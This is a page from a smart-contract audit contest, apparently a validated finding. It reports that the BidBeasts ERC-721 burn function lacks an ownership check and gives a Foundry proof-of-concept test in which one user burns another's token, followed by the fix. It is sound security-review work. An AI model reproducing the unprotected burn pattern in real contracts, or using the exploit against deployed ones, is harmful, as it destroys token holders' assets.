Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can burn other's tokens (ERC-721) in `BidBeasts_NFT_ERC721`, allowing unauthorized token destruction

vincent71399

Description: In BidBeasts_NFT_ERC721, the burn function lacks access control, allowing any user to burn tokens they do not own.
This can lead to unauthorized destruction of tokens, resulting in loss of assets for token holders.
If the token was burned when listed for sale, it could also disrupt marketplace operations.

function burn(uint256 _tokenId) public {
@> _burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Impact: Unauthorized users can destroy tokens they do not own,

  • leading to potential financial loss for token holders and disruption of marketplace activities.

Proof of Concept:
add a test file BidBeastTest.t.sol with the following content:
and run test testBurnByNonOwner

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract BidBeastsTest is Test {
// --- State Variables ---
BidBeasts nft;
// --- Users ---
address public OWNER = makeAddr("owner"); // Contract deployer/owner
address public USER_1 = makeAddr("user1");
address public USER_2 = makeAddr("user2");
// --- Constants ---
uint256 public constant TOKEN_ID_1 = 0;
uint256 public constant TOKEN_ID_2 = 1;
error ERC721NonexistentToken(uint256 tokenId);
function setUp() public {
// Deploy contract
vm.prank(OWNER);
nft = new BidBeasts();
vm.stopPrank();
}
modifier mintTokenToUser(address user) {
vm.prank(OWNER);
nft.mint(user);
_;
}
function testBurnByNonOwner() public mintTokenToUser(USER_1) {
assertEq(nft.balanceOf(USER_1), 1);
vm.prank(USER_2);
nft.burn(TOKEN_ID_1); // USER_2 burns USER_1's token
// Check that USER_1's token is burned
assertEq(nft.balanceOf(USER_1), 0);
}
}

Recommended Mitigation:
add an ownership check in the BidBeasts_NFT_ERC721:burn function to ensure that only the token owner can burn the token.

function burn(uint256 _tokenId) public {
+ require(msg.sender == ownerOf(_tokenId), "BidBeasts: caller is not token owner");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.